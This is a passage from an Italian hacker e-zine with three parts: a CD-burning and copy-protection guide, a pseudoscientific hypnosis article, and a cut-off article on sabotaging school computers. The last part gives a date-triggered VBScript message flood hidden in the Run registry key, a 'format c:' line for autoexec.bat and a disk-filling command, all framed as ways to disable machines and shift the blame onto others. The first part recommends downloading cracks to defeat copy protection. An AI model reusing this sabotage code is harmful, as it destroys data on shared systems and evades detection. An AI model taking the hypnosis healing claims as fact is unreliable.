IV pulsante in alto " File Backup and Tools "e dovrebbe aprisi una schermata dove nel primo campo vi appare una combobox nella quale potete selezionare pi opzioni: sciegliete " Build and Record an ISO9660 Image File ". Nella parte pi in basso affianco ai pulsanti ADD DELETE CLEAR potete inserire i file o le cartelle che volete registrare con un semplice DragAndDrop oppure cliccare sul pulsante ADD e selezionare quelle cazzateche volete registrare. Nel campo sottostante inserite il nome e la locazione del file ISO da creare su disco prima della scrittura ( ricordatevi di cancellarlo una volta testato il risultato del vostro duro lavoro, perch questo un' immagine del CD e quindi ha le sue stesse dimensioni ) Qeste devono apparire nel campo l a fianco. Teoricamente ora potete gia scrivere il vostro CD ma vediamo che parametri settare... Controllate che le check " Include Hidden Files ", " Recurse Subdirectories " e " Include System Files " siano sputatealtrimenti i file nascosti non verrano scritti,le sottocartelle neppure, e neanche i file di sistema ivi contenuti. Interessante la funzione del check " Preserve Full Pathnames ": se spuntato il programma registrer anche la struttura delle directory precedente al livello che avete inserito nel campo sopra partendo dalla Rootdirectory altrimenti scriver tutto partendo solo dal livello da voi imposto. Sotto troverete altri check, quelli che useremo sono: " Long Filenames (Joliet) ", " Finalize Session ", " Verify Recorded Image ", tutte le altre lasciatele stare di default. La check long file abilita il supprto per i nomi lunghi anche sul vostro bel CD, cosa vivamente consigliata se lavorate in ambiente Windows95 / 98; la check finalize session chiude la sessione che avete aperto per il vostro lavoro in modo tale che il CD che avete realizzato sia leggibile su tutti gli altri CD-ROM; l'ultima check in esame in questa form, verify recorded.. ,serve per analizzare il risultato confronatadolo con l' ISO di origine. ANFF ANFF !!! Abbiamo quasi finito ci manca ancora poco... Nella label ISO9660 Options c' un pulsante dal nome " Advanced Options ", clickateci sopra e vi si aprira un' altra form, l' ultima prima di premere il mitico pulsante " START ", ve lo prometto... Nella prima cartella " Volume Descriptor " potete settare tutte le opzioni dell' etichetta di volume: quella che ci interessa solo la prima, ossia " Volume Label ". In questo campo inserite il nome che volete dare al vostro CD. VIAAAAAAAA !!!!!! ora confermate l' opzione settata in questa form e poi premete il fottuto pulsante: quindi tanti auguri che tutto vada bene, e toccatevi non si sa mai, i CD a volte si fottono, anche per altri motivi, da soli.... -<=************=>- (3) COPIARE UN CD DELLA PLAY ( vale anche per tutti gli altri ) La procedura qu di seguito spiegata parte dal presupposto che sul vostro HD ci sia posto sufficiente per l' immagine del CD che state copiando ( fanculo alla Sony se un videogioco della Play ) Ps: perch funzionino questi CD-ROM dovete avere la modifica nella Play Lo Sapete VERO ?? ... ---------------------------- FINE PRIMA PARTE -------------------------------- ----------------------------- SECONDA PARTE ---------------------------------- Clickate sul III pulsante " Extract Disc/Tracks/Sectors " ... Via si aprir una form nella quale dovrete inserire "Extract Mode ...", "CD Reader", "Image Filename", "File Format", "Sector Selection" & "Reading Options" Vediamo un po' a che cacchio serve tutta sta roba ... Completamente inutile ... Vi ho fatto leggere un mucchio di cazzate ... hi hi hi hi, scherzo :) "Extract Mode " ==> Sciegliete "Disc Image / Cuesheet"; questo creer l'immagine del vostro CD vittima sul vostro disco ed il relativo "Cuesheet" ( che sta roba vi chiederete : il cue sheet praticamente il cuore del DAO Disc At Once, non altro che un file che dice al programma come cacchio costruire il CD sulla base di un file di immagine ). "CD Reader" ==> Devo proprio dirvelo ? Spero di no comunque il lettore contenente il CD originele di cui volete fare una copia ... (Ndd io consiglio di utilizzare il masterizz come cd reader in quanto spesso pi preciso nella lettura. ). "Image Filename" ==> ma guarda un po' ... dobbiamo pure dirgli il none del file di immagine e la directory dove salvarlo visto che potremo riutilizzarlo pi di una volta. Che strano ... :) "File Format" ==> Definisce il tipo di file di immagine ... Io consiglio di lasciarlo su "AUTOMATIC" "Sector Selection" ==> Completamente inutile per i nostri scopi comunqe permetterebbe di salvare su disco solo alcuni settori di un CD "Reading Options" ==> Eccoci arrivati al punto pi interessante ... Le mitiche impostazioni di lettura he he he he Innanzitutto io consiglio sempre di spuntare il check "Raw" e di lasciare vuoti tutti gli altri della prima riga poi: "Error Recovery" -> gestisce gli errori di lettura: di solito lo lascio su abort in modo tale da vedere se ci sono errori. Nel caso in cui vi siano, verificate se sono voluti dal produttore quale protezione o se sono dovuti alla superficie ecessivamete rovinata. Nel caso in cui il cd originale funzioni correttamente sulla Play o su di un PC allora molto probabilmente una protezione quindi: prima provate a rileggere il CD con il CD ROM normale e osservate se funziona correttamente altrimenti reinseritelo nel masterizz e impostate questo parametro su ignore cosi il prog far la lettura del CD ignorando gli errori "Jitter Correction" -> E' un algoritmo di correzione degli errori e il mio consiglio di lasciarlo su auto. "Subcode Analysis" -> Analizza dei codici particolari dei CD che per pochi lettori sono in grado di leggere e pochi masterizz sono in grado di scrivere, quindi il mio consiglio di lasciarlo su auto. "Data Speed" -> Imposta la velocit di lettura dei dati, a volte per poter leggere bene un CD bisogna abassarla anche sino ad 1x. "Audio Speed" -> La stessa cosa solo per l'audio "Read Retry Count" -> tentativi di lettura prima di abortire un processo nel caso si verifichino errori "Subcode Threshold" -> Setta la lunghezza massima di pregap che possibile incontrare durante la lettura, io consiglio di lasciarlo stare Una volta settati tutti questi parametri sarete pronti per leggere un CD e per creare la sua immagine su disco quindi potete premere "START". Ora attendete che il processo sia finito e dovrebbe apparirvi un messaggio : "Operation sucessfully completed" che vi dice che tutto andato bene, altrimenti .... hi hi hi hi hi .... avrete un bel po da smanettare con i parametri che ho descritto sopra. Ora che avete creato l'immagine del cd sul vostro bel disco fisso, guardatela e osservate quanto bello quel file da 650 Mb sul vostro HD he he he ... Ed ora ... ..................... ................................... ....................................................... pausa hi hi hi :) Me so rotto i lu maroni de scrive' ... Bene bene riprendiamo, dunque abbiamo visto per bene la nostra immagine su disco quindi vediamo ora come riportarla su di un'altro CD da voi comperato alla modica cifra di 3000 circa. Adesso uscite dalla form " Extract Disc/Tracks/Sectors " con il pulsante Close he he he he he difficile vero ? Premete quindi il primo pulsante " Record Disc " e vi si aprir una nuova form. In questa troverete ben 9 pulsanti, tanti da non capire pi niente he he he, cmq ne useremo solo due + una check box. Premete ora il pulsante " Load Cuesheet " e selezionate il cuesheet abbinato al file di immagine del CD che avete fatto ( ha sempre lo stesso nome del file di immagine ). Ora teoricamente potreste premere il tasto " Start Recording " e iniziare a registrare sul vostro CD Vergine, che non una costellazione, ma non ve lo consiglio... Premete innazitutto il tasto " Disc Layout ", il quale vi far vedere le informazioni riguardanti il cd che state per scrivere ( eccetto l' etichetta ), e controllate che il tutto corrisponda con il cd originale: se differisce di oltre 74min bene avete cannato tutto :) e dovete rifare la procedura spesso cmq ho notato la differenza di 1 o 2 sec che per non ha inciso sulla riuscita del cd ( non so dove ho letto che ci dovuto ad una particolarit nella fat creata da questo prog. che cmq non d alcuna rogna, almeno a me non mai successo ). Ora il mio consiglio e di cambiare " Speed " da max a 2X nel caso abbiate un 4X altrimenti potete lasciarlo su max tanto pi di 2X non v he he he. Per i pi puntigliosi inoltre contemplata una chicca, spuntando la check " Test Mode " verr eseguita una simulazione di scrittua tale e quale alla registrazione ( quindi anche lo stesso tempo: 30 - 40 min a 2X ) nella quale il cd non verr sfiorato ma nel caso di strani errori tipo Buffer underrun si potr intervenire riducendo la velocit di scrittura e rifacendo il test ( con ulteriore incremeto di tempo "perso" ). Una volta raggiunta la perfezione potrete registrare il cd con la ver nuova del prog che volevate copiare in quanto nel frattempo gi uscita :). Potete ora scrivere il vs cd e tanti auguri che non salti la corrente ( io mi sono premunito di UPS, onde evitare, he he he ). -<=************=>- (4) COPIARE UN CD AUDIO Questa ragazzi una procedura veramente verameeeeeeeeente difficile : Dunque .... La procedura qu di seguito spiegata parte dal presupposto che sul vostro HD ci sia posto sufficiente per l' immagine del CD che state copiando ( fanculo alla Sony se un videogioco della Play ) Ps: perch funzionino questi CD-ROM dovete avere la modifica nella Play Lo Sapete VERO ?? ... Clickate sul III pulsante " Extract Disc/Tracks/Sectors " ... Avete gi capito ? Spero di s comunqe ve lo dico lostesso: dovete fare la stessa cosa di prima... Difficile vero ? :) ( Per sono un genio: facendo cos siete obbligati a leggervi tuatta la parte che riguarda la copia di un cd non musicale anche se non vi interessa :) ). -<=************=>- (5) CREARE UN CD AUDIO Questo pu essere pi complesso o pi semplice, di quello che abbiamo visto finora, a seconda di come viene affrontato: noi vedremo il metodo pi semplice. Clickate direttamente sul primo tasto " Record Disc " ed entrate nella form. Premete ora il pulsante " Load Tracks ... " ed inserite con il drag&drop o selezionadoli tutti i file di tipo wav che volete inserire nel CD. Ora vi ricordo che la lunghezza totale di tutti i brani messi assieme + 2 sec tra un brano e l'altro non deve superare il tempo indicato sul CD vuoto ( 74 o 80 min a seconda di cosa usate ) altrimenti andreste in Overbanning e non tutti i masterizzatori sono in grado di farlo quindi rischiereste il CD. Ora eseguite tutti i controlli del caso e registrate la vostra supercompilation. Il metodo pi complesso prevederebbe la scrittura di un file cuesheet manualmente. Questo pur essendo il metodo pi complesso quello che preferisco in quanto posso decidere io il tempo tra una canzone e l'altra nonch tutti gli start point delle varie tracce ( per fare tutto ci ho realizzato un programmino in versione freeware che non so se verr allegato, comunque se ne avete bisogno scrivete a nitrothedemon@yahoo.com e vedr di rispondervi appena possibile. ). -<=************=>- (6) AGGIUNGERE UNA SESSIONE AD UN CD Per fare questo dovete essere sicuri che il cd sia aperto, ossia che sia ulteriormente scrivibile nonch ci sia gia una sessione correttamente registrata. Una volta sicuri fate tutto come nel punto "(2) CREARE E RGISTRARE UN ISO 9660 " tranne che dovete cliccare su pulsante " Advanced Options " e nella cartella " Import Session " dovete spuntare la check " Import Previous Session " e se vi interessa mantenere la stessa etichetta dovete spuntare anche la seconda check " Preserve Volume String... " eche cazz non ve la scrivo tutta tanto avete capito no ? Per le altre opzioni posso dirvi che servono nel caso ci siano 2 directory o 2 file con lo stesso nome ora vedete voi come comportarvi :) se volete che il nuovo file sovvrascriva ( virtualmente in quanto in realt non si pu cancellare un file ) quello vecchio oppure no. -<=************=>- E con questo abbiamo finito... stata dura ma ora dovreste essere in grado di farvi le vostre esperienze e un giorno scrivere una guida migliore di questa (" sai che difficolt " direte voi, " avete ragione " dico io ) -<=************=>- E arriviamo ora ai ringraziamenti: Un thanks va a Hal9000 Ex Warez Division [ S0FTPJ ] dal quale ho appreso i primi passi di quest' arte e uno va a N0bodY88 che mi ha permesso di rompervi un po' con le mie cazzate Ciao a tutti da quel folle NiTRo THe DeMoN ͻ Ŀ Come sono protetti i nostri cd ٺ ͼ Ecco qui la seconda parte del mio discorso.. le protezioni! Cerchero' di spiegare brevemente quali sono i tipi di pretezione pi adottati dalle case editrici di cdrom per evitare che quelche malintenzionato ne diffonda copie illegali... Ma poich noi abbiamo speso 150000 lire per comprarcelo originale, e non vogliamo che questo si rovini .. non possiamo fare altro che copiarlo e usare il cd masterizzato! Quello originale lo conserveremo per bene sulla mensola eheheh. I tipi di protezione piu' sati sono questi: 1) CD sovradimensionati 2) TOC fasullo 3) SecuROM 4) Laser Lock 5) SafeDisc 6) CD-Cops 7) Disc guard 1 --- CD sovradimensionati Una protezione che ormai non fa pi paura a nessuno poich in commercio ci sono cd da 80 minuti! quindi non ci spaventer dover copiare un cd con 77 minuti occupati! Se proprio non volete uscire a comprarli si puo' sempre scrivere in modalit overburn! Questa modalit (permessa solo da alcuni masterizzatori) consiste nello scrivere cd integrando le informazioni di chiusura con la parte finale della traccia. Bisogna far attenzione perch nei cd molto economici la parte pi esterna della pellicola scrivibile di pessima qualit quindi il cd potrebbe risultare illeggibile nella parte finale! Per scrivere cd in overburn usate software come "Nero". 2 --- TOC fasullo Il TOC (Table of Content) praticamente la tabella in cui ci sono le informazioni sul cd. Quindi molte case produttrici "stampano" i propri cd mettendo un indice falso... in modo tale che risulti pieno per il 150% o pi... in pratica al vostro pc sembrer di leggere un cd da 1000 Mb che non potr essere scritto in nessun modo. Anche questa protezione ormai bypasssabile molto facilmente, utilizzando sowtfare che permettano l'opzione "ignora TOC illegale" come Nero, CdRWin o Prassi. Un famoso esempio di questa protezione si trova su "Tomb Rider 3" 3 --- SecuROM Questa non una vera e propria protezione software, ma una particolare protezione sviluppata dalla Sony che consiste nello stampare i cd originali con un particolare macchinario che rende un file illeggibile. Copiando il cd quindi questo risulter privo di quel file.... Essendo illeggibile non serve a far funzionare il gioco ma quando facciamo partire l'eseguibile, questo per prima cosa andr a controllare la presenza di quel file, e non trovandolo segnaler errore. Si puo' banalmente superare questa protezione scaricando da internet il crack (in questo caso una patch) del gioco. Esempio di questa protezione FifaY2k. Il secuROM uscito in varie versioni seguito a ruota dalle patch per ogni versione :P 4 --- Laser lock Questa protezione consiste nel danneggiare dei blocchi del cd con un raggio laser, rendendoli illeggibili. Pi precisamente la combinazione di una operazione di un software di cifratura e di un marchio che identifica univocamente il cd. Spoteggere questi cd a volte puo' essere noioso, perch quando non basta l'opzione "ignora errori di lettura" di Nero o CDrWin, dobbiamo ricorrere alla pratica.... Copiamo la cartella "laserlock" su hd leggendo da un lettore o masterizzatore scsi (eh, lo so, ma altrimenti credo che non funzioni), poi apriamo uno per uno i file con un editor di file esadecimale e li salviamo senza averli modificati in una cartella con lo stesso nome. Aggiungiamo su hd a questa cartella tutte le altre presenti sul cd e masterizziamo come cdrom iso. Questa la protezione usata per esempio nella versione italiana di Descent 3. 5 --- Safedisk Molto simile al SecuROM, comprende sul cd una firma digitale. Alcuni file vengono codificati e masterizzati insieme al programma di decriptazione. La normale copia di questo cd risulter priva di firma digitale ed il programma di decriptazione non funzionera'. Ci sono moltissimi giochi e programmi protetti con Laser lock tra cui Carmageddon 2. Per copiare questi cd occore CdRwin attivando l'opzione "non Raw copy"... e leggere il cd a 1x! Il lettore cmq si soffermera' parecchio sui blocchi corrotti dalla protezione e la scrittura del file immagine potrebbe durare anche 5 ore! Il cd masterizzato avr comunque bisogno di una patch per funzionare in quanto deve emulare la firma digitale... riconosciamo questa protezione su cd in cui troviamo questi file : 00000001.TMP CLCD16.DLL CLCD32.DLL CLOKSPL.EXE poi ci sar un file ?????.exe ed un ?????.icd Il vero eseguibile in realt il file icd, ossia quello criptato con SafeDisk. 5 --- CDCops Questa protezione dalla copia funziona cos: CDCOPS legge il CD e misura la velocit di lettura. Questo valore un numero (il codice) che la CHIAVE DEL CD (detto anche "CD key"). Se il CD inserito ha una differente velocit di lettura (confrontata con il numero memorizzato), il CD non funzioner dato che la chiave differente.. Questa protezione molto fastidiosa presente su programmi e non sui giochi. es. Omnia99 Al momento dell'installazione si dovr avviare una utility per misurare la velocit di lettura e tenerla aperta del tutta la sua durata. Per sproteggere il cd necessario rigenerare la chiave modificando il file CDCOPS.DLL. Sinceramente non me ne mai capitato uno e non ho la minima idea di come si possa fare a rigenerare la chiave! :P 6 --- Disc Guard DiscGuard una tecnologia anti-pirata per i supporti ottici, che funziona inserendo una "firma" digitale all'inizio del cd che puo' essere scritta solo dai masterizzatori di propriet della casa produttrice. Il cd masterizzato in casa non avendo la firma segnalera' un messaggio di errore invocato dall'eseguibile. La soluzione? semplice. Scaricate il crack. :P Beh, ora potete fare quasi tutte le copie di backup che volete eheheehhe Queste info sono state prese dal gruppo CDFreaks Italia e integrate con l'esperienza del sottoscritto :P Ciao e alla prossimaaaaaaaaaaaaaaa :))) korg P.S. Un Saluto a tutti gli amici di #cacca !!! :))) con un :* in pi a Dante e Nin[hu4 che mi sopportano ehehehe DIVERTIMENTO CAZZATE SVAGO E QUANTO O NON POSSIBILE Piccola Lezione iniziale di IPNOSI e AUTOIPNOSI. Allora.. eccoci di nuovo al solito appuntamento con newbies. Newbies newbies newbies, siamo gi al numero sette! Diciamo che i redattori fanno un buon lavoro di ricerca degli articoli,(mah... by Dantuz) soprattutto quando trovano i miei ehehe :P Su newbies comparso un solo mio articolo, purtroppo per voi [ihihi] e adesso siamo al secondo =) Questa volta vorrei, con questo articolo, raggiungere due scopi: per prima cosa far divertire tutti quelli che leggono questa FAMOSISSIMA e-zine [redattori poi voglio una ricompensa in denaro(o in natura? by Dantuz)] e far capire a qualcuno [o forse a nessuno ? ;P] quanto la mente umana non sia come la si crede, e che non c'entra l'intelligenza, ma l'allenamento. [so di essere pazza, assecondatemi:)] Bene, cominciamo a scrivere le risorse consumate durante quest'esperienza: Una mega cena cinese [il ristorante ci stava bene nel mezzo dell'articolo=)] una fiesta [bleah, non mi piace neanche] urr saiwa [merendine di mia sorella, avevo bisogno di carburante hehe] mega gelato come al solito .. ..e basta.. :P musica : [dio sto vivendo di musica in questo periodo!] sMAV's cOMPILATION 1 No Doubt - Ex girlfriend 2 NOFX - Stickin' in my eye 3 NOFX - Bob 4 Guano Apes - No Speech 5 Blur - Song 2 6 Eagles Eye Cherry - Are You Stil Having Fun 7 Red Hot Chili Peppers - Otherside 8 R.E.M. - Losing my religion 9 U2 - The Ground Beneath Her Feer 10 White Town - Your Woman 11 Lit - Miserable 12 Led Zeppelin - Stairway to Heaven 13 Eminem - Stan 14 Dj Gruff - Ben Bella 15 Cypress Hill - Rock Superstar Ego 16 The Offspring - Gotta Get Away 17 The Offspring - Self Esteem 18 Lene Marlin - Unforgivable Sinner in loop, naturalmente =) E tante, tante parolaccissiiiiime alla Sharra... xk oggi "c'ho le palle girate" [ Aldo Giovanni e Giacomo nella trasmissione "Comici" :P :)] ok, cominciamo. Piccola Lezione iniziale di IPNOSI e AUTOIPNOSI, x conoscere meglio la propria mente [Coscienza e Subcoscienza, tecniche subliminali, come difendersi dalla tecnica subliminale, il concetto di "realt" ed il "quasi reale", la suggestione e la sua azione sul conscio e sull'inconscio, significato dell'ipnosi, esercitazioni.] conscio -|io superio |inconscio personale inconscio -|inconscio collettivo |inconscio istintuale coscienza e sub-coscienza com' formato il nostro io e in che cosa consiste La nostra attivit psichica formata da due parti essenziali: la parte volontaria cio il conscio, il giudizio, la razionalit, quando si ha coscienza di se stessi, delle persone, e delle cose. parte automatica questa parte funziona senza che ce ne accorgiamo: l'inconscio, dove si possono posizionare le impressioni, la fantasia, i sogni, la memoria, i sentimenti.. Qui si registra tutto quello che riceviamo dall'esterno o che hanno origine da noi stessi, e ne conserva una traccia indelebile. Qui vengono elaborati stimoli, impulsi, tendenze. In proporzione, la nostra parte conscia non che un millesimo dell'inconscio, quindi la sub-coscienza che ci guida nella via. Arriviamo al cosiddetto "primo inconscio". E' una specie di super-inconscio, o "lunga vista":quello che ci fa sognare le informazioni non raccolte dalla coscienza. E' questa specie di super-coscienza che si interpella per prendere conoscenza di tutte le nostre possibilit latenti. Caratteristica di questo "livello" di considerare tutto vero, indubbia debolezza, e per questo bisogna proteggerla da eventuali "attacchi".. questosi ottiene per prima cosa prendendo atto della debolezza stessa, e ci si sapr difendere efficacemente piu' impareremo a conoscerci. Ecco il "secondo inconscio". E' collettivo, quello che ci mette in contatto con gli altri.Questo il livello che inteessa la magia. Poi c' il "terzo inconscio", quello che va anche al di l del tempo. Con questo si puo' entrare in contatto con esperienze passate, o predire il futuro. Tecniche subliminali Tutte le percezioni che abbiamo da stimoli che non oltrepassano la soglia della coscienza, per la loro insufficiente durata o intensit, si chiamano subliminali. Ad esempio, la pubblicit che vediamo tutti i i giorni, approfitta dei limiti della nostra coscienza e della debolezza del nostro primo inconscio. In tv, la parte cosciente percepisce al massimo 24 fotogrammi al secondo. L'inconscio, invece, vede tutti i fotogrammi presentati. Quindi, se in mezzo ai 24 fotogrammi ce ne sar uno con la la scritta "coca cola", "nutella", o vattelapesca, non verr visto dal conscio, ma l'inconscio lo immagazziner condizionando poi le nostre scelte future. Le tecniche subliminali sono, fortunatamente, oggi proibite da delle specifiche leggi internazionali. Come difendersi dalla tecnica subliminale Sapere come agisce gi molto utile, con l'ipnosi si migliora il rapporto tra conscio e primo inconscio, e il contro-impiego di queste tecniche un'altro antidoto alla "violenza subliminale". conclusione : la conoscienza potere, il sapere rende pi liberi. (non ho kapito una minkia ma sta frase me gusta by Dantuz) La "realt" ed il "quasi reale" La realt individuale. E' soggettiva, diversa per ogni persona, a seconda del proprio punto di vista. Se fosse oggettiva, saremmo tutti uguali, avremmo gli stessi gusti, e penseremmo allo stesso modo. Non esiste una real oggettiva, e nemmeno la finzione della realt.. matrix non sarebbe mai potuta esistere, come avrebbe fatto un computer a sapere come ragionava ogni singolo individuo ? Esempio, i dieci del grande fratello vengono presi per un esperimento, cinque vengono ipnotizzati e gli si fa credere che ci sia un orologio sul tavolo, e cinque no. Chi ha ragione ? Entrambi, perch la realt soggettiva. Questo un concetto fondamentale, difficile da comprendere ma scuola di vita.:P [pensare come smav distrugge la mente =)] Vivendo la realt soggettiva, bisogna anche accettare la libert degli altri, capire i modi di pensare, di essere, di agire differenti. Il potere di Maja [illusione] indica il valore del pensiero, la cui potenza arriva a far agire la materia. Gli atomi, viaggiando ad una velocit infinita, ogni istante occupano tutto l'universo, e vanno a occupare, nella loro caduta, tutte le forme esistenti. In Magia ogni oggetto presente in tutto quanto l'universo, le forme non possono esistere se non per il potere del pensiero, il potere Maja, il potere Divino. Oggettivamente, invece, la materia non esiste, e secondo le antiche concezioni religiose essa esiste solo in quanto creazione nella mente di Dio. In noi esistono possibilit di metter in pratica questi concetti, basta volerlo immaginando di completare l'azione con degli atti pratici. Tecniche appropriate per ogni azione permettono di realizzare ci che si pensa. La vera difficolt sta nel CONVINCERE NOI STESSI. Per capire meglio questo diverso modo di vivere la realt, bisogna parlare anche del quasi-reale. Provando a guardare il mondo con gli occhi di un bambino, come se vedessimo le cose per la prima volta, saremo pi lievi, pi liberi. Ad esempio, pensiamo a qualcuno che ci sta antipatico, la prossima volta proviamo a parlarci come se non lo conoscessimo, come per dargli una seconda opportunit, sicuramente l'impressione sar diversa. La suggestione e la sua azione sul conscio e sull'inconscio Quando una potente impressione, o la ripetizione di una percezione, colpiscono l'inconscio, la coscienza tende ad annullarsi. Invece, quando il conscio cessa di stare in guardia, le facolt dell'inconscio si intensificano, soprattutto fantasia e impressionabilit. La suggestione distrae l'attenzione obiettiva e allo stesso tempo impressionano l'inconscio. Spingere una persona a immaginarsi in un certo stato vuol dire suggestionarla. E la suggestione un atto di violenza. Allo stato di veglia, un'affermazione espressiva detta con tono positivo, penetrante, convincente, e ripetuta parecchio, provoca l'effetto corrispondente. La coscienza psicologica si annulla, s'intorpidisce, e sospende la sua funzione: questa l'ipnosi totale. Ottenuta l'ipnosi non c' pi bisogno di distrarre la coscienza, perch ormai dissociata dall'inconscio, accetta passivamente ogni idea, ogni immagine suggerita, e segue automaticamente gli impulsi che gli vengono dati. L'ipnotizzato si trova come in un sonno naturale, ma provocato da un'altra persona, l'inconscio pu essere diretto dall'operatore e l'automatismo resta attivo. Significato dell'ipnosi E' una tecnica che fa raggiungere il primo inconscio di una persona. Con che scopo ? Ce ne sono di molto utili, come ad esempio ricordare sue esperienze passate, superare traumi, alleviare sofferenze fisiche [il dolore fisico non esiste], sviluppare capacit fisiche e psichiche, curare e accelerare guarigioni di tagli ferite o fratture, curare malattie psicosomatiche, lenire il dolore, aprire e allargare percezioni, ecc... Consiglio di fare uno sforzo nell'apprendimento del quasi-reale, esteso a tutto ci che ci circonda, e ai fatti che ci si presentano. Questa una grandissima presa di coscienza del nostro "io"... Adesso risolvete questo facile rompicapo "kickself", come li chiamano loro, coloro che si credono superiori [auhauahua], tratto dalla rivista "Mensa" che viene inviata a tutti i membri del mensa inglese, la "High I.Q. Society", che tutti credo conosciate. Problema per un uomo pigro Si dice che un uomo pigro e intelligente fa un buon manager. Istintivamente egli sa come economizzare le ore di lavoro, cosa che costituisce spesso la met del suo lavoro. Un manager per deve per anche saper sollecitare, oltre ad essere pigro. Ci vogliono uomini impazienti, non procrastinatori. Vendevo dei macchinari a Mosca. Il mio contatto russo, appena tornato da un paese arabo, era intelligente e pigro. Ma aveva anche un grande senso di urgenza. Oggi! continuava a dire Doviamo mettare la firma! "Bokhra" non va bene. Dopo avermi detto questo Oggi non "Bokhra" un paio di volte replicai: Non conosco questa parola "Bokhra"; che cosa significa ?. Le mie scusazioni. Difficile per me. Mischio le parlature. "Bokhra" una parola di Arabia. Ma che cosa significa ? Per voi inglesi non molto facile comprendere "Bokhra". Modo migliore per spiegarlo: come lo stesso di messicana "magnana", ma non uguale senso urgenza. Ora qualsiasi problema kickself un problema per uomini impazienti e pigri. La via verso la soluzione appare lunga e fastidiosa e se la prendi non arrivi mai. Esiste da qualche parte una scorciatoia mentale. Ed l'uomo impaziente e pigro che la trova. Eccone un modesto esempio. Ci sono state 12.345 iscrizioni al Torneo di scacchi Knock Out del Mensa, un torneo cio a eliminazione diretta dell'avversario perdente. Le partite vengono tutte disputate e i pareggi vengono attribuiti con il lancio di una moneta. Ora: quante partite dovranno essere giocate per trovare il vincitore di questo torneo ? Non necessario alcun calcolo. Dovreste gi conoscere la risposta. Subito! Bhe.. avete indovinato ? Qui c' la risposta.. 12.344 partite. C' un vincitore soltanto, per cui ci devono essere 12.344 perdenti. In un gioco a due a eliminazione diretta, ci deve essere una partita per ogni giocatore eliminato.12.344 perdenti depressi e 12.344 partite. Voil! Bene, dopo aver risolto questo quesito facilino facilino, finisco qua il tutto visto che mi sono dilungata anche troppo.. Spero che quel qualcuno abbia capito quanto conti (o no?) "l'intelligenza" come la chiama lui, e che non e` poi cosi` male, non e` poi cosi` male.. [eminem rulez :PpP =)] bibliografia "ipnosi e autoipnosi" di Alberto Airaudi, casa editrice Meb. "Grande libro della magia" di Maria Fenoglio, editore Gulliver. "I quiz del mensa club", Victor Serebriakoff, casa editrice Rizzoli. Ringraziamenti : a mia sorella che si e` lasciata gastemare, a mio padre che mi ha dato il suo portatile x scrivere sto benedetto ti ix ti [papa` rulez], alla nonna che mi ha fatto fare la cuoca =), al mio amicicio [tvtrb bimbo =*], ai redattori di nb che non mi hanno lasciato scrivere l'articolo "come hackerare la meta` dei redattori di nb", a dev che odia quando dico auhauah.. e allora bwahah =), a SintoWhat, a SyntVicious76, a SintaM, a SintoFake, a Nitro The Synt, alla Synt crew, a tutti i miei bimbi, al mio amore [il mio gatto Spillo, Spina x pulcio], a dark [*:], al n0bo[ovviamente], a XuNiL scemo x avermi fatto finire i soldi nel cello in 12 secondi :P [ora tocca a te:P]. A solero che me lo aveva levato dalle scatole x un po', a DigeiPulce e alla onixgorl, a Valy che non sento da un pacco, a Caterina de Medici, all'Alice [ie] x tutta la sua pazienza nei miei anni di elementari, a Bilbo bilbo bilbo baggins e ai radiohead, agli antitruzzi, alla super cassetta nobo smav nobo smav [paul rulez ?] e a che altro posso dedicarlo a.. a.. bhe, a parte tutti gli amici di irc e di dgn, non vedo chi altri! =) Bacioni da smav !! .o0' ..sMhACK tHE pLAneT, FHaCK ThE PLaNEt!!.. '0o. P.S. Il primo motto mi puzza di mio... :P by Dantino hihhi ,.-o0o-.,,.-o0o---LA SCUOLA TI ROMPE? ROMPI LA SCUOLA!!! ]-o0o-.,,.-o0o., DISCLAIMER ------------------------------------------------------------------ Con il seguente articolo NON invito nessuno a provocare piu' o meno intenzionalmente danni alle strutture scolastiche (hahahahaha sisi, come no). Tutti gli eventuali errori ortografici sono puramente intenzionali. ------------------------------------------------------------------ Ed ecco che inizia nuovamente un'altro anno scolastico. La storia si ripete: tutte le fottute mattine alzarsi presto per andare in quel buco di classe e ascoltare le farneticazioni di un paio di persone che si fanno chiamare professori e che in teoria ci dovrebbero insegnare qualche cosa (seeeeeeeee), e mentre loro parlano notiamo di fianco a noi un bel pc nuovo di zecca...che prontamente nessuno ci fa mai accendere ed usare come si deve. E qui nella nostra mente nascono molteplici e contorte idee...se non lo possiamo usare noi, perche' mai lo dovrebbe usare qualcun altro?? La risposta e' semplice: non lo usera' mai piu' nessuno!!! Ma come fare ad impedire l'utilizzo di un pc scolastico controllato dopo ogni utilizzo da qualcuno? Si potrebbe prendere a martellate oppure fare un bel format c: (dato che non ho mai visto un pc scolastico con linux) ma poi chi lo spiega alla mamma il motivo per cui e' arrivato una fattura da un milione e mezzo?? Ed ecco che si profila all'orizzonte una nuova idea: fare ricadere la colpa su qualcun altro!! Ma come fare? I modi sono tanti...ecco un po' di idee che possono essere realizzate con mezzi di fortuna reperibili su ogni pc: 1- Ci appoggiamo al nostro "amico" vbscript. Con qualche righetta di codice possiamo inondare il desktop di messagebox, una dietro l'altra. La cosa risulta mooolto irritante e si rende completamente inutilizzabile il pc!! Provare per credere! Per assicurarci un'alibi e' indispensabile modificare la data di attivazione del codice ad alcuni giorni dopo il nostro utilizzo del pc. Ecco il codice: giorno ay(Now) If giorno [numero del giorno che vogliamo] Then For a  to 100000 MsgBox "HAHAHAHA",vbExclamation + vbSystemModal,"" Next End If Copiamo e incolliamo il tutto il un bel file .vbs e sbattiamolo nella directory Esecuzione Automatica oppure inseriamo una bella chiavetta nel registro con il percorso del file in HKLM\Software\Microsof\Windows\CurrentVersion\Run. Starete sicuri che non lo troveranno per moooolto tempo (quello che ho messo l'anno scorso non l'hanno ancora trovato :)))). Al posto di generare messagebox, si possono implementare diverse funzioni come ad esempio la modificazione dell'autoexec.bat inserendo istruzioni distruttive tipo format c: /autotest utilizzando la funzione OpenTextFile. 2- Utilizziamo gli amati buggazzi di wincrotalo. L'ideale e' sfruttare bug poco conosciuti come quello di himem.sys che praticamente nessuno conosce (almeno credo). Dovete sapere che il nome interno di himem.sys e' XMSXXXX0 e, come gli altri dispositivi di sistema, dovrebbe in teoria essere non accessibile. Ma la micro$fott non poteva certo non inserire un bug anche in questo. XMSXXXX0 si lascia convincere inspiegabilmente dal comando type con il quale ha dei curiosi comportamenti. Dal prompt del dos digitiamo: type XMSXXXX0 > c:\windows\file XMSXXXX0 riempira' il file con dei caratteri ricorrenti (chissa' cosa rappresentano) fino a che il disco c: non sara' stracolmo. sarebbe una cosa carina inserire tale comando nell'autoexec.bat (sempre con l'attivazione condizionale legata al giorno). Non vorrei dire una cazzata ma questo trucchetto 